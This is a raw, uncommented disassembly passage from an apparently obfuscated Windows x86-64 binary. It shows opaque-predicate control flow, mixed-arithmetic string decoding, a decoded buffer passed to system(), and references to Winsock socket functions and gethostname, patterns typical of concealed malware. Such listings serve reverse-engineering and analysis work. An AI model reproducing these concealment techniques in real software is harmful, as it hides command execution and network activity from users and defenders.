sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
lea edx, [r11 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004a66e
movzx r10d, r11b
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004a642
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004a7a3
lea edx, [r11 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14004a7a3
movzx r10d, r11b
lea edx, [r10 - 0x24]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 4
jmp 0x14004a5f8
lea ecx, [r11 - 0x6a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1a
dec r11
inc r11
jmp 0x140049d43
lea ecx, [r11 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x140049d43
movzx r10d, r11b
lea edx, [r10 + 0xa]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x46
jmp 0x14004a746
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14004a3bc
lea edx, [r11 + 0x23]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xb
jmp 0x14004a228
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a3f0
lea ecx, [r11 - 0x42]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x32
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a419
movzx r10d, r11b
lea edx, [r10 + 0x4a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 6
jmp 0x14004a642
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a444
lea edx, [r11 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14004a7a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a22b
lea edx, [r11 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140049d43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a49f
movzx r10d, r11b
lea edx, [r10 - 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
jmp 0x14004a746
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a4cd
lea ecx, [r11 - 0x1d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x35
inc r8
dec r11
inc r11
jmp 0x140049d43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a4f2
lea ecx, [r11 - 5]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x23
jmp 0x14004a7a3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004a51a
lea edx, [r11 - 0x79]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4f
add dil, dl
jmp 0x14004a66e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004a1e1
lea ecx, [r11 - 0x33]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x65
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a586
lea ecx, [r11 + 0x7c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x64
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a5af
movzx r10d, r11b
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
jmp 0x14004a642
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004a19c
movzx r10d, r11b
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004a746
movzx r10d, r11b
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
movzx ecx, byte [rsp + r11 + 0x30]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
add r10b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, dil
add r10b, r9b
mov byte [rsp + r11 + 0x30], r10b
add rbx, r8
jmp 0x14004a7a3
movzx r10d, r11b
lea edx, [r10 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rsp + r11 + 0x30]
sub dil, 0x72
add dil, dl
sub r10b, 0x5f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x67
add r10b, r9b
movzx eax, r10b
mov byte [rsp + r11 + 0x30], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x5c
add cl, r9b
mov byte [rsp + r11 + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
lea ecx, [r11 - 0x7d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6b
jmp 0x14004a7a3
lea ecx, [r11 - 0x4f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x29
dec r11
inc r11
jmp 0x140049d43
lea ecx, [r11 + 0x6b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x13
inc r8
dec r11
inc r11
jmp 0x140049d43
movzx r10d, r11b
lea edx, [r10 + 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 3
jmp 0x14004a746
movzx r10d, r11b
lea edx, [r10 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2f
add dil, dl
add r10b, 0x15
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x6d
add r10b, r9b
mov byte [rsp + r11 + 0x30], r10b
inc r8
dec r11
inc r11
jmp 0x140049d43
lea ecx, [r11 - 0x7f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x79
add rbx, r8
jmp 0x14004a7a3
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x63
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140049d43
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x21
movzx eax, byte [rsp + r11 + 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140049d43
add r11b, 0x2f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x49
jmp 0x140049d40
sub r11b, 0x17
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x5f
jmp 0x140049d30
lea rcx, [rbp + 0x173ceb4]
jmp 0x14004a835
lea rcx, [rbp + 0x5598d7]
jmp 0x14004a835
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0x40], 0x717a6e13
mov dword [rbp + 0x44], 0x7e137569
mov dword [rbp + 0x48], 0x60787662
mov dword [rbp + 0x4c], 0x50753b77
mov word [rbp + 0x50], 0xd56b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x52], xmm0
mov word [rbp + 0x62], ax
mov byte [rbp + 0x64], al
movabs rsi, 0x425882f7351db2a1
movabs r15, 0x4bba8ed409947d25
movabs r14, 0xc70988e59f5917e3
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x25
jae 0x14004b3e9
movzx r9d, byte [rbp + r10 + 0x40]
mov rdx, r9
cmp rbx, r10
ja 0x14004b3e0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004a8e2
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x67
jmp 0x14004a902
je 0x14004b375
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004b31c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b2c1
cmp r8, r10
ja 0x14004b3d7
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14004a92c
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
jmp 0x14004a960
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004b279
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b257
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004b20a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004b1df
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14004aecd
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004aeae
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004ae8a
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004ae65
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004ae42
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004ae27
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004ae0c
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004aded
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004adce
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004ada0
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14004a970
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x80]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004b3ba
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14004b39d
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14004ab57
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004ab3c
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14004ab21
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004ad57
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14004ad0b
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004acca
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004aca7
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004a970
lea rbx, [r8 + 1]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14004ac7d
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004ac5e
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004ac3b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004ac1c
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14004ac01
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004abe2
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14004abbd
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004ab95
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004ab72
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14004a970
lea rbx, [r8 + 0x28]
lea r8, [rbx + 4]
jmp 0x14004a970
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
jmp 0x14004a960
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
jmp 0x14004a902
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x14004a8b3
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14004b297
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14004a8a3
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14004a8a3
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
movzx r11d, r10b
jmp 0x14004b2df
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14004b300
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b303
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14004b228
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b336
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
mov byte [rbp + r10 + 0x40], dil
inc r10
jmp 0x14004a8a3
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
cmp r8, 2
jb 0x14004acbd
movzx r11d, r10b
lea edx, [r11 + 0x26]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x14]
jmp 0x14004b297
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
cmp rbx, 0x80
jae 0x14004b1a4
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14004b0ec
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ace0
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14004b1c5
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x14004afd0
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
jmp 0x14004ad21
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b336
movzx r11d, r10b
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14004b228
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x14004b303
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x14004b300
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b2df
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14004a8a3
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x14004a8a3
movzx r11d, r10b
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x14004b297
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14004aef1
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x14004ad6d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004af28
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004af54
movzx r11d, r10b
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b228
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004af78
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x14004b300
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004afa4
movzx r11d, r10b
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b2df
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004ad6d
movzx r11d, r10b
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x14004b297
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004aff8
movzx r11d, r10b
lea ecx, [r11 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
jmp 0x14004b297
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004b025
lea ecx, [r10 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
inc r8
dec r10
inc r10
jmp 0x14004a8a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004b049
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
jmp 0x14004b300
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004b06d
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
jmp 0x14004b303
cmp rbx, rcx
jne 0x14004b091
movzx r11d, r10b
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x14004b228
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b0b5
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
jmp 0x14004b336
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14004ad21
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b123
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004b147
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14004b303
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004b173
movzx r11d, r10b
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b2df
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ace0
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
inc r8
dec r10
inc r10
jmp 0x14004a8a3
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x40]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x14004b2dc
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14004b225
lea ecx, [r10 - 0x79]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4f
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
movzx r11d, r10b
lea edx, [r11 + 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x15
add dil, dl
add r11b, 0x4b
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0xd
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x40], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14004b336
lea ecx, [r10 - 5]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x23
dec r10
inc r10
jmp 0x14004a8a3
movzx r11d, r10b
lea edx, [r11 + 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x41
add dil, dl
sub r11b, 0x39
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x71
add r9b, r11b
mov byte [rbp + r10 + 0x40], r9b
inc r8
dec r10
inc r10
jmp 0x14004a8a3
movzx r11d, r10b
lea edx, [r11 + 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3b
add dil, dl
add r11b, 9
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x3f
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x40], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14004a8a3
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 3
add dil, cl
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x74
add r9b, cl
mov byte [rbp + r10 + 0x40], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x35
movzx eax, byte [rbp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004a8a3
sub r10b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7d
jmp 0x14004a8a0
add r10b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4b
jmp 0x14004a890
lea rdx, [rbp + 0x174046c]
jmp 0x14004b3ed
lea rdx, [rbp + 0xd1b70d]
jmp 0x14004b3ed
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x238]
call fcn.1400432c0
nop
mov dword [rbp], 0x666968be
mov dword [rbp + 4], 0x6aa2999d
mov word [rbp + 8], 0x6475
mov byte [rbp + 0xa], 0xf0
xor eax, eax
mov qword [rbp + 0xb], rax
movabs rsi, 0x8508276fe6c7f6df
movabs r15, 0xa339140f4f77c019
movabs r14, 0x8f18764fb457e49d
movzx edi, byte [rsp + 0x20]
nop dword [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x13
jae 0x14004bf45
movzx r9d, byte [rbp + r10]
mov rdx, r9
cmp rbx, r10
ja 0x14004bf3c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004b492
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x19
jmp 0x14004b4c0
je 0x14004bed1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004be55
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004be00
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004bdbc
nop
cmp r8, r10
ja 0x14004bf33
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14004b4ea
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xd
jmp 0x14004b520
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004bda0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004bd7f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004bd64
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004bd49
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14004ba84
nop dword [rax]
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004ba61
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004ba39
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004ba18
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004b9f9
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004b9da
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004b9bb
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14004b99c
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14004b981
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004b957
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004b530
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14004bf16
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14004bef9
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004b720
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14004b705
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14004b6ea
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004b90b
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004b8c6
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14004b883
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004b860
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14004b530
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x400]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004b832
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004b817
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004b7fc
